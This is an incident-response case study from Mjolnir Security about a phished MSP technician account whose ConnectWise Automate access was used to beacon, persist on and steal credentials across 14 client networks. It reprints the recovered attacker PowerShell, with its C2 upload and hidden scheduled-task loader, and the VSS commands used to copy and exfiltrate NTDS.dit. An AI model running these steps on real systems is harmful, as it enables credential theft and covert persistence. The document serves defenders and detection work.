14 CLIENTS
CONNECTWISE
NTDS.DIT
SUPPLY CHAIN
Incident Response DFIR Engagement Supply Chain TLP:WHITE May 2024

The Keys to Every Kingdom

One phished MSP helpdesk account. One RMM platform. Fourteen client environments, entered simultaneously, using tools the clients paid for and trusted.

Scroll

The following is a lightly anonymised account of a real DFIR engagement. The MSP and all client identifiers have been altered or generalised. All technical artifacts, commands, and findings are presented as they occurred. We are publishing this case because MSP compromise is structurally underreported — clients often never learn their environment was accessed — and because the detection gap between ‘legitimate RMM traffic’ and ‘attacker using legitimate RMM traffic’ is smaller than most people think, if you know where to look.

ParameterDetail
Case TypeSupply Chain Compromise — Managed Service Provider (MSP) RMM Abuse
IndustryManaged IT Services (MSP with 14 SMB clients across legal, finance, manufacturing, non-profit)
Duration6 days on-site (MSP) + 19 days remote (client triage) + 4 weeks remediation
YearYear 6 of operations
NotorietyThe one where the attacker used the MSP’s own billing portal to identify which clients were most valuable

The Engagement

How We Were Called In

The MSP — a 22-person shop serving small and mid-size businesses across three provinces — called us on a Wednesday morning. Their ConnectWise Automate administrator had noticed something the previous evening while reviewing a routine report: a script had been executed across 31 managed endpoints at 2:14 AM. The script was named Windows Defender Update — Mandatory. It had been deployed by a technician account belonging to a helpdesk analyst who had been on paternity leave for two weeks.

The Automate admin had immediately disabled the account. Then he had stared at the screen for about an hour before calling his manager. His manager had called us. This is, for the record, the correct sequence of events. More MSPs should follow it.

Key Observation

The attacker used a tool the clients paid for, deployed from infrastructure the clients trusted, authenticated with credentials issued by the organization the clients had hired to protect them.

Scope and Immediate Triage

By the time we were engaged, the compromised technician account had been disabled — approximately 6 hours after the script execution. The MSP served 14 active clients. The RMM platform (ConnectWise Automate) had agent coverage across all 14 environments, totalling 312 managed endpoints. Every one of them had potentially been touched.

We stood up a war room at the MSP’s office and broke the team into three tracks: MSP forensics (how was the account compromised and what was the full extent of platform access?), client triage (which of the 14 environments had been actively targeted beyond the initial script?), and client notification (legal and regulatory obligations for a supply chain breach are complex and time-sensitive). All three tracks ran in parallel from day one.

Finding 1: Initial Access — Phished RMM Credentials

Artifact: ConnectWise Automate Audit Log + Chrome Browser Artifacts

Path: ConnectWise Automate: System → Audit Trail | Chrome: %LOCALAPPDATA%\Google\Chrome\User Data\Default\

  • Automate audit log captures: user, action, timestamp, source IP, affected agent/client
  • Filter for ‘Login’, ‘Script Execute’, ‘Command Execute’, ‘Agent Install’ event types
  • Cross-reference source IP with known technician IP ranges — off-hours + foreign IP = immediate flag
  • ConnectWise Automate does not enforce MFA by default on local accounts — verify your deployment
  • Chrome History: SQLite DB — visits table (url, title, visit_time in Chrome epoch)

The compromised account was a local ConnectWise Automate account — not federated through Azure AD or SSO. This was the first structural problem. Local Automate accounts have no MFA enforcement by default and are authenticated against a MySQL credential store that predates modern identity security. The MSP had federated their Microsoft 365 accounts (correctly, with MFA) but had never reviewed their RMM platform’s authentication model.

SQL / AUTOMATE DB
-- Query ConnectWise Automate MySQL audit log for compromised account activity
-- (run against Automate DB server, requires DBA access)
SELECT
  au.EntryDate,
  au.UserName,
  au.Message,
  au.IPAddress,
  au.ComputerID,
  c.Name AS ClientName
FROM audituserlog au
LEFT JOIN computers comp ON comp.ComputerID = au.ComputerID
LEFT JOIN clients c ON c.ClientID = comp.ClientID
WHERE au.UserName = 'j.████████'
  AND au.EntryDate >= DATE_SUB(NOW(), INTERVAL 30 DAY)
ORDER BY au.EntryDate ASC;

-- First anomalous login (excerpt):
EntryDate               UserName      Message         IPAddress       ClientName
2024-██-██ 01:47:33     j.████████    User Login      91.108.██.██    (MSP internal)

-- 91.108.xx.xx = Telegram CDN range (commonly abused by threat actors for relay)
-- Technician's known IP: residential Rogers CGNAT block, Toronto
-- Technician: confirmed on paternity leave, device offline

Working backward from the 01:47 login, we recovered browser artifacts from the technician’s company laptop. Chrome history confirmed he had visited a typosquatted ConnectWise partner portal on his last working day before leave:

PYTHON / CHROME HISTORY
# Chrome History analysis — phishing site visit identified on technician's last day before leave

import sqlite3, datetime

CHROME_EPOCH_OFFSET = 11644473600
conn = sqlite3.connect('History')
rows = conn.execute("""
  SELECT url, title,
    datetime((visit_time/1000000) - 11644473600, 'unixepoch', 'localtime') AS visit_time
  FROM urls JOIN visits ON urls.id = visits.url
  WHERE visit_time > (strftime('%s','2024-██-██') + 11644473600) * 1000000
  ORDER BY visit_time ASC
""").fetchall()
for url, title, ts in rows:
    print(f'{ts}  {title[:60]:<60}  {url[:80]}')

# RESULT (excerpt — last active day before leave):
# Timestamp               Title                                    URL
# 2024-██-██ 16:22:41   ConnectWise Partner Portal - Sign In    hxxps://connectwise-████████-portal[.]net/login
# 2024-██-██ 16:23:04   ConnectWise Partner Portal              hxxps://connectwise-████████-portal[.]net/dashboard
# 2024-██-██ 16:23:19   (blank — redirect)                      hxxps://connectwise-████████-portal[.]net/account/verify

# connectwise-████████-portal[.]net — NOT ConnectWise's actual domain
# Legitimate: partner.connectwise.com
# Lookalike registered: 2024-██-██ (6 days before the technician's last day)
Finding 01

Credentials Stolen via ConnectWise Lookalike Phishing Site — 14-Day Hold Before Use

Chrome browser history confirmed the technician visited a typosquatted ConnectWise partner portal (connectwise-████████-portal[.]net) at 16:22 on his final working day before paternity leave. Recovered phishing email confirms credential-harvesting kit delivery. The attacker held the stolen credentials for 14 days before first use — at 01:47 the following Tuesday — consistent with credential validation, target prioritisation, and operational security patience. MFA was not enabled on the ConnectWise Automate local account. It would have stopped this entirely.

Finding 2: Reconnaissance — The Billing Portal as Intelligence

Artifact: ConnectWise Manage (PSA) Audit Log

Path: ConnectWise Manage: Admin → Audit Trail | IIS/Apache logs on Manage server

  • Manage audit log: records all entity views, edits, and report runs by user/session
  • Key report: ‘Agreement Summary’ — lists all active client contracts, service tiers, and ARR
  • ConnectWise Manage and Automate share SSO in some deployments — verify if single credential = both systems
  • PSA data is a target-prioritisation goldmine: client names, contract values, technical contacts, SLA tiers

The MSP used ConnectWise Manage (PSA) alongside ConnectWise Automate (RMM). In their deployment, the same local account credentials granted access to both systems. At 01:47, the attacker logged into Automate. At 01:53, the same session pivoted to Manage — six minutes later — and began pulling reports.

PYTHON / AUDIT LOG
# ConnectWise Manage audit trail — attacker pulling ARR reports to prioritise targets by contract value

import pandas as pd
df = pd.read_csv('manage_audit_export.csv')
df = df[df['User'] == 'j.████████'].sort_values('Date')
print(df[['Date','Action','Entity','Description']].to_string())

# RESULT (first 20 minutes of Manage access):
Date                    Action   Entity        Description
2024-██-██ 01:53:04    View     Report        'Agreement Summary by Client' — all clients
2024-██-██ 01:53:41    View     Report        'Active Agreements' — contract values + renewal dates
2024-██-██ 01:54:22    View     Report        'Agreement Revenue Summary' — ARR per client
2024-██-██ 01:55:08    View     Company       ████████████ Legal Group (largest contract: $8,400/mo)
2024-██-██ 01:55:31    View     Company       ████████ Financial Advisors (second largest: $6,200/mo)
2024-██-██ 01:56:10    View     Company       ████████ Manufacturing Inc. (third: $5,800/mo)
2024-██-██ 01:57:03    View     Configuration  [All servers — ████████ Legal Group]
2024-██-██ 01:57:44    View     Configuration  [All servers — ████████ Financial Advisors]
# ... 47 more configuration views across top 5 clients by revenue

In eleven minutes, the attacker had read the MSP’s full client list, ranked them by monthly recurring revenue, identified the top five by contract value, and enumerated the server configurations for those five clients from the PSA. They knew the client names, the contract values, the technical contacts, the number of servers, and the operating system versions — all from a single compromised helpdesk account with no escalated privileges.

This is the aspect of MSP compromise that is structurally different from a direct organisation breach. An attacker who compromises a mid-market company gets information about one organisation. An attacker who compromises an MSP gets information about every organisation the MSP serves, aggregated into a single administrative interface designed for efficiency. The PSA is not a security system. It is a business operations system. It was not designed with the assumption that an attacker would be reading it.

Finding 02

PSA Billing Portal Used to Triage 14 Clients by ARR in 11 Minutes — Top 5 Targeted by Server Value

ConnectWise Manage audit trail confirmed the attacker pulled revenue summary reports within 6 minutes of first access, then enumerated server configurations for the five highest-value clients by monthly contract. Client names, contract values, server counts, and OS versions were available without any privilege escalation — this data is accessible to all Manage users with standard helpdesk permissions. The attacker had a fully prioritised target list before touching a single client endpoint.

Finding 3: Execution — RMM as Command and Control

Artifact: ConnectWise Automate Script Execution Audit + Windows Event Log

Path: Automate: System → Script Log | Endpoint: Microsoft-Windows-TaskScheduler/Operational.evtx

  • Automate script log: records script name, executing user, target agent, start/end time, exit code
  • Scripts run as SYSTEM on the endpoint via the Automate agent service — no user context required
  • Windows Event ID 4698: Scheduled Task Created — captures task name, XML definition, creating user
  • Detection gap: legitimate MSP scripts and malicious scripts are indistinguishable in Windows event logs alone

At 02:14 AM — 27 minutes after initial login — the attacker executed the first script via ConnectWise Automate. The script was named Windows Defender Update — Mandatory and was executed against all agents across all 14 client environments simultaneously. ConnectWise Automate allows scripts to be targeted by client, by group, or by the entire managed fleet. The attacker targeted the entire fleet.

POWERSHELL — RECOVERED SCRIPT
# Recovered script content (from ConnectWise Automate Script Library — attacker left it behind)
# Script name: 'Windows Defender Update - Mandatory'
# Created by: j.████████  |  02:09:41 (created 5 minutes before execution)

# --- STAGE 1: Recon (encoded, decoded here) ---
$hostname = $env:COMPUTERNAME
$domain   = (Get-WmiObject Win32_ComputerSystem).Domain
$os       = (Get-WmiObject Win32_OperatingSystem).Caption
$ip       = (Get-NetIPAddress -AddressFamily IPv4 | Where-Object {$_.PrefixOrigin -ne 'WellKnown'}).IPAddress -join ','
$user     = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
$av       = (Get-MpComputerStatus).AMProductVersion

# --- STAGE 2: Exfil beacon (HTTPS POST to attacker C2) ---
$payload = @{ h=$hostname; d=$domain; o=$os; i=$ip; u=$user; av=$av } | ConvertTo-Json -Compress
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
$wc = New-Object System.Net.WebClient
$wc.Headers['Content-Type'] = 'application/json'
$wc.Headers['User-Agent']   = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0'
$wc.UploadString('hxxps://analytics-cdn-update[.]com/v2/telemetry', $payload)   # C2

# --- STAGE 3: Scheduled task persistence ---
$action  = New-ScheduledTaskAction -Execute 'powershell.exe' \
           -Argument '-w hidden -enc [BASE64_STAGE2_LOADER]'
$trigger = New-ScheduledTaskTrigger -RepetitionInterval (New-TimeSpan -Minutes 15) -Once \
           -At (Get-Date)
Register-ScheduledTask -TaskName 'MicrosoftEdgeUpdateTaskMachineUA' \
  -Action $action -Trigger $trigger -RunLevel Highest -Force | Out-Null

The script executed successfully on 271 of 312 managed endpoints — 41 were offline at 2:14 AM. Each successful execution sent a JSON beacon to analytics-cdn-update[.]com containing the hostname, domain, OS version, IP address, current user context, and AV product version. Within 20 minutes, the attacker had a structured inventory of 271 endpoints across 14 organisations, sorted by domain.

The scheduled task — named MicrosoftEdgeUpdateTaskMachineUA, a name deliberately chosen to blend with legitimate Edge update tasks — was set to fire every 15 minutes. It loaded a second-stage PowerShell payload from the C2. On the endpoints we analysed, the second stage had only been retrieved on a subset — the attacker was prioritising based on the beacon data they had received.

Finding 03

RMM Script Executed Across All 14 Clients Simultaneously — 271 Endpoints Beaconed, Persistence Installed

A malicious PowerShell script disguised as a Defender update was executed via ConnectWise Automate across the entire managed fleet (312 agents, 14 clients) at 02:14. The script beaconed OS, domain, IP, and AV data to an attacker-controlled C2 (analytics-cdn-update[.]com), then installed a scheduled task named MicrosoftEdgeUpdateTaskMachineUA for 15-minute persistent callback. 271 of 312 agents executed successfully. The attacker now had a live inventory of every managed endpoint across all 14 client environments.

Finding 4: Targeted Escalation — NTDS.dit Extraction

Artifact: Windows Event Log (Security.evtx) + VSS Shadow Copy Artifacts

Path: DC Security.evtx | System.evtx | VSS snapshots | %TEMP%\

  • NTDS.dit extraction requires: VSS snapshot OR ntdsutil IFM OR Volume Shadow Copy Service access
  • Event ID 7036 (System.evtx): ‘Volume Shadow Copy service entered the running state’ — VSS invocation
  • NTDS.dit is ~40–500MB depending on domain size — look for large file creation events in %TEMP%
  • Dump detection: Event ID 4656 (SACL audit) on ntds.dit if file auditing is enabled (rarely is)

The attacker did not move against all 14 clients equally. Based on their PSA reconnaissance and the beacon data, they selected two priority targets: a regional law firm (the MSP’s largest client by ARR) and a financial advisory practice (the second largest). Both had Active Directory environments. Both had domain controllers managed by the MSP’s RMM agent — running as SYSTEM.

At 03:41 AM, 87 minutes after initial access, the second-stage C2 payload executed a live NTDS.dit extraction against the law firm’s primary domain controller. The technique used was the VSS shadow copy method — no Mimikatz, no LSASS dump, no EDR-triggering in-memory credential access. Just standard Windows administrative tools used for purposes they were not intended for.

CMD / VSS
# NTDS.dit extraction via VSS — recovered from RMM session command history
# Executed as SYSTEM via ConnectWise Automate 'Run Command' function
# Target: LAW-DC01 (primary DC, ████████ Legal Group)

# Step 1: Create VSS shadow copy
vssadmin create shadow /for=C:
# Output: Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4

# Step 2: Copy NTDS.dit and SYSTEM hive from shadow
cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\Windows\NTDS\ntds.dit C:\Windows\Temp\NtdsAudit.tmp
cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\Windows\System32\config\SYSTEM C:\Windows\Temp\SysAudit.tmp

# Step 3: Exfil via C2 (PowerShell — recovered from Temp)
$bytes = [System.IO.File]::ReadAllBytes('C:\Windows\Temp\NtdsAudit.tmp')
$b64   = [Convert]::ToBase64String($bytes)
# Chunked upload to analytics-cdn-update[.]com/v2/upload (10MB chunks, HTTPS)

# Step 4: Cleanup (VSS delete + temp file removal)
vssadmin delete shadows /shadow={a3f2████-████-████-████-████████████} /quiet
del C:\Windows\Temp\NtdsAudit.tmp /F /Q
del C:\Windows\Temp\SysAudit.tmp /F /Q

# NTDS.dit file size: 186 MB  |  Upload duration: ~4 minutes
# SYSTEM hive: 17 MB  |  Both files = all domain credentials, offline crackable

With the NTDS.dit and SYSTEM registry hive, the attacker had the offline equivalent of every password hash in the law firm’s Active Directory — every user account, every service account, every administrator. An identical extraction was performed against the financial advisory firm’s DC at 04:07 AM, 26 minutes later. Same technique. Same cleanup. Two domain credential databases, representing 187 combined user accounts, were in the attacker’s hands before 5 AM.

Finding 04

NTDS.dit Extracted from Two Priority Client Domain Controllers via VSS — All Credentials Compromised

The attacker used ConnectWise Automate’s ‘Run Command’ function (SYSTEM context) to execute a VSS-based NTDS.dit extraction against two priority clients’ domain controllers at 03:41 and 04:07 respectively. No EDR-triggering tools were used — only vssadmin.exe and cmd.exe (both signed Windows binaries). The 186 MB NTDS.dit (law firm) and 143 MB NTDS.dit (financial advisory) were exfiltrated via chunked HTTPS upload to C2. Combined: 187 user account credential hashes offline-available for cracking.

Finding 5: Detection — How a Script Report Caught What EDR Missed

Artifact: ConnectWise Automate Script Execution Report

Path: Automate: Reports → Script Execution History | Custom monitor: schtasks.exe baseline

  • The Automate admin’s discovery was the actual detection event — no EDR alert preceded it
  • EDR (Bitdefender GravityZone) did not alert on SYSTEM-context PowerShell from RMM agent
  • C2 traffic was HTTPS to a domain with clean VirusTotal reputation at time of execution
  • Scheduled task name matched legitimate Edge update pattern — name-only monitoring insufficient

The detection was almost accidental. The MSP’s Automate administrator reviewed the morning script execution report as part of a weekly routine — not a daily one — and noticed that a script had run across the entire fleet at 2 AM. He had not been paged. The EDR deployed across most client endpoints had not alerted. The C2 traffic was HTTPS to a domain with a clean VirusTotal reputation at the time of execution.

This is the structural detection problem with RMM-based attacks: the attacker’s commands arrive through the same channel as legitimate administrative commands. The EDR sees PowerShell executing, but PowerShell executed by an RMM agent running as SYSTEM is normal. The only anomaly visible without the Automate audit log is the script execution at 2 AM — and that is only visible if someone is looking at the right report.

POWERSHELL — DETECTION MONITOR
# Recommended Automate monitor — scheduled task validation by execute path
# Key insight: task NAME matching alone is insufficient
# A task named MicrosoftEdgeUpdateTaskMachineUA that runs powershell.exe is NOT an Edge updater

$task = Get-ScheduledTask -TaskName 'MicrosoftEdgeUpdateTaskMachineUA'
$task.Actions.Execute
# Should be: C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
# Attacker's task Execute: powershell.exe  ← MISMATCH → alert

# Effective detection: TaskName matches baseline BUT Execute path != expected binary
Get-ScheduledTask | Where-Object {
  $_.State -ne 'Disabled' -and
  $_.Date -gt (Get-Date).AddHours(-4)
} | ForEach-Object {
  [PSCustomObject]@{
    TaskName = $_.TaskName
    Created  = $_.Date
    RunAs    = $_.Principal.UserId
    Action   = $_.Actions.Execute
    Args     = $_.Actions.Arguments
  }
}
Finding 05

Detection Was Manual and Delayed — EDR Missed Entirely, Automate Script Report Was the Sole Detection Mechanism

No EDR, SIEM, or automated alert detected the compromise. Detection occurred when the Automate administrator manually reviewed the weekly script execution report and noticed a fleet-wide script execution at 02:14 by an account on leave. The 6-hour gap between execution and detection was the window in which NTDS.dit extractions at two clients completed. The attacker’s scheduled task used a name pattern matching legitimate Edge update tasks; only execute-path validation (powershell.exe vs. msedge.exe) would have distinguished it algorithmically.

Finding 6: Blast Radius — 14-Client Triage

Artifact: Multi-Client Triage Framework — DNS Query Logs + Automate Script Log

Path: MSP DNS resolver: /var/log/named/queries.log | Automate: Script Log filtered by client

  • Triage priority: sort clients by script execution success (271/312 agents) then by C2 callback evidence
  • DNS logs for analytics-cdn-update[.]com are the fastest cross-client scope indicator
  • NTDS.dit extraction indicator: vssadmin.exe + copy to %TEMP% + large file creation + deletion
  • Clients with no DC managed via RMM: lower risk tier — NTDS attack surface not present
BASH / DNS
# Cross-client triage — DNS query evidence for C2 callback
# (Queried from MSP's DNS resolver logs — all clients routed through MSP-managed DNS)

grep 'analytics-cdn-update.com' /var/log/named/queries.log | \
  awk '{print $1, $2, $5, $8}' | \
  sort | uniq -c | sort -rn

# Group by client network (MSP maintains IP→client mapping):
# Client                      DNS queries   First seen     Last seen
# ████████ Legal Group         312           02:14:03       08:29:44   ← active C2 callback
# ████████ Financial Advisors  198           02:14:11       06:51:20   ← active C2 callback
# ████████ Manufacturing       89            02:14:18       02:47:03   ← beacon only, no C2 follow-up
# ████████ Dental Associates   67            02:14:22       02:14:22   ← single beacon, no callback
# [10 additional clients]       various       02:14:xx       02:14:xx   ← beacon only

# Tier classification based on post-beacon C2 activity:
# TIER 1 (active targeting): 2 clients — ongoing C2, NTDS extraction confirmed
# TIER 2 (beaconed, no follow-up): 12 clients — scheduled task installed, no active ops
# All 14: scheduled task 'MicrosoftEdgeUpdateTaskMachineUA' present on 271 endpoints

The triage produced a clear two-tier picture: two clients had been actively operated against (NTDS extraction, ongoing C2 callbacks, evidence of hands-on-keyboard activity beginning around 04:30 AM), and twelve clients had the persistence mechanism installed but had not been further targeted before the account was disabled at 08:20 AM. The 6-hour detection window was the difference between two clients with confirmed credential compromise and twelve that had gotten away with a scheduled task they needed to remove.

Notification went to all 14 clients, with different content depending on tier. The two Tier 1 clients received full incident disclosure, forensic reports, and support through regulatory notification processes (one was subject to PIPEDA; the law firm had obligations around client privilege and the Law Society). The twelve Tier 2 clients received a disclosure of the MSP compromise, confirmation of the scheduled task installation and removal, and a written assurance that no credential-level access had been confirmed — with the honest caveat that absence of evidence is not evidence of absence.

Finding 06

14 Clients Triaged — 2 Tier 1 (Active Targeting, Credential Compromise), 12 Tier 2 (Persistence Only)

DNS resolver log analysis across MSP infrastructure separated 14 clients into two impact tiers based on post-beacon C2 activity. Two priority clients (law firm and financial advisory, the MSP’s highest-revenue accounts) received sustained C2 callbacks and NTDS.dit extraction. Twelve clients received only the initial beacon and persistence task before the account was disabled. All 271 affected endpoints required scheduled task removal. All 14 clients required disclosure. The two Tier 1 clients required full credential reset across their AD environments — every user, every service account, every administrator.

Reconstructed Attack Timeline

TimestampArtifact SourceEvent
T-20 days, 16:19Exchange message tracePhishing email delivered to j.████████: ‘Action Required: ConnectWise Partner Account Verification.’
T-20 days, 16:22Chrome HistoryTechnician visits connectwise-████████-portal[.]net. Automate credentials entered into credential-harvesting kit.
T-20 days, 17:00HR recordsTechnician begins paternity leave. Account remains active. MFA not configured on Automate local account.
T-6 daysThreat intel (post-incident)Credential validation — attacker tests stolen credentials against Automate login. Account confirmed active.
T-0, 01:47Automate audit logFirst anomalous login to ConnectWise Automate from 91.108.██.██ (Telegram CDN relay). Session established.
T-0, 01:53Manage audit logPivot to ConnectWise Manage (PSA). Agreement Summary report pulled. 14 clients ranked by ARR in 11 minutes.
T-0, 02:04Manage audit logServer configuration details enumerated for top 5 clients by revenue. Target list finalised.
T-0, 02:09Automate script libraryMalicious script ‘Windows Defender Update - Mandatory’ created in Automate script library.
T-0, 02:14Automate script logScript executed against entire managed fleet — 312 agents, 14 clients, simultaneously. 271 successful executions.
T-0, 02:14–02:34DNS resolver log271 beacon calls to analytics-cdn-update[.]com. Hostname, OS, domain, AV data received at C2.
T-0, 03:41Automate command log + VSSNTDS.dit extraction via VSS on ████████ Legal Group DC. 186 MB exfiltrated. Shadow copy deleted.
T-0, 04:07Automate command log + VSSNTDS.dit extraction on ████████ Financial Advisors DC. 143 MB exfiltrated. Cleanup performed.
T-0, 04:30–08:20DNS + EDR telemetryHands-on-keyboard activity in Tier 1 clients. Lateral movement attempts in law firm environment.
T-0, 08:20Automate adminAutomate administrator notices fleet-wide 2 AM script in weekly report. Account j.████████ disabled. Clock stops.
T-0, 09:15IR engagementMjolnir Security retained. War room established. Three-track investigation begins.
T+1 to T+4 daysIR — all 14 clientsTriage complete. 2 Tier 1, 12 Tier 2. Scheduled task removed from all 271 endpoints. Client notifications issued.
T+6 to T+19 daysRemediationTier 1 clients: full AD credential reset (187 accounts). MSP: Automate MFA enforced, PSA access review, SSO federation.

What This Engagement Teaches Us

For Incident Responders

  1. MSP compromises require a multi-tenant investigation framework from day one. Stand up client-tiering within the first two hours using DNS resolver logs, RMM script execution logs, and C2 callback frequency — these three data sources will separate active targeting from passive persistence across all clients faster than any per-client forensic collection.
  2. The RMM audit log is your primary evidence source in MSP compromises, not the endpoint. All attacker commands flow through the RMM; the audit log captures them. Preserve it immediately — default retention in ConnectWise Automate is 90 days in MySQL, and it does not rotate, but the database can be overwritten if the server is rebuilt during remediation.
  3. PSA data (billing portal, contract values, client configurations) is a target-prioritisation artifact. Pull the Manage audit log alongside the Automate log — it tells you which clients the attacker decided to target and why, which directly informs your remediation priority.
  4. Credential reset scope after NTDS.dit extraction is total. Every account hash in the extracted dit file is compromised — not just active accounts, but disabled accounts, stale service accounts, and accounts created and deleted years ago whose hashes were reused elsewhere. The reset must be complete or it is not a reset.

For MSPs & Security Engineers

  1. MFA on your RMM platform is not optional. ConnectWise Automate local accounts bypass your M365 MFA entirely — they are a separate credential store with a separate authentication path. Federate your RMM through your IdP (Azure AD SSO), enforce Conditional Access, and eliminate local accounts. This is the single control that would have prevented this incident.
  2. Restrict RMM access to specific IP ranges or require a VPN for remote access. A ConnectWise Automate session from a Telegram CDN IP at 2 AM should have been impossible, not just suspicious. Geographic and IP-based access policies are table stakes for any platform that has SYSTEM access to every managed endpoint.
  3. Your PSA billing system contains a complete intelligence briefing on your own attack surface. The client list, contract values, and server configurations that the attacker read in 11 minutes are available to every helpdesk account by default. Review your Manage role permissions — restrict revenue reporting to management roles, and consider whether helpdesk accounts need access to all client configuration records.
  4. Run a scheduled task baseline and deviation monitor across your managed fleet. Task name matching is not enough — validate the Execute path and run-as context against known-good baselines. A task named MicrosoftEdgeUpdateTaskMachineUA that runs powershell.exe is not an Edge updater. If you manage 300 endpoints, you need this monitor running automatically.

Mjolnir Security — MSP Security & Incident Response

Mjolnir Security provides 24/7 incident response, RMM security assessments, and supply chain breach investigation services to managed service providers and their clients. Our DFIR team has responded to MSP compromises affecting over 200 downstream organisations.

Incident Response MSP Security Assessment RMM Hardening Supply Chain DFIR Multi-Tenant Triage Active Directory Recovery

mjolnirsecurity.com — 24/7 Incident Response Hotline: +1 833 403 5875

Written by Mjolnir Security DFIR team

Published May 2024 · DFIR Engagement Series · TLP:WHITE

Case #178 · Skuggaheimar · Mjolnir Security · All client details anonymized · TLP:WHITE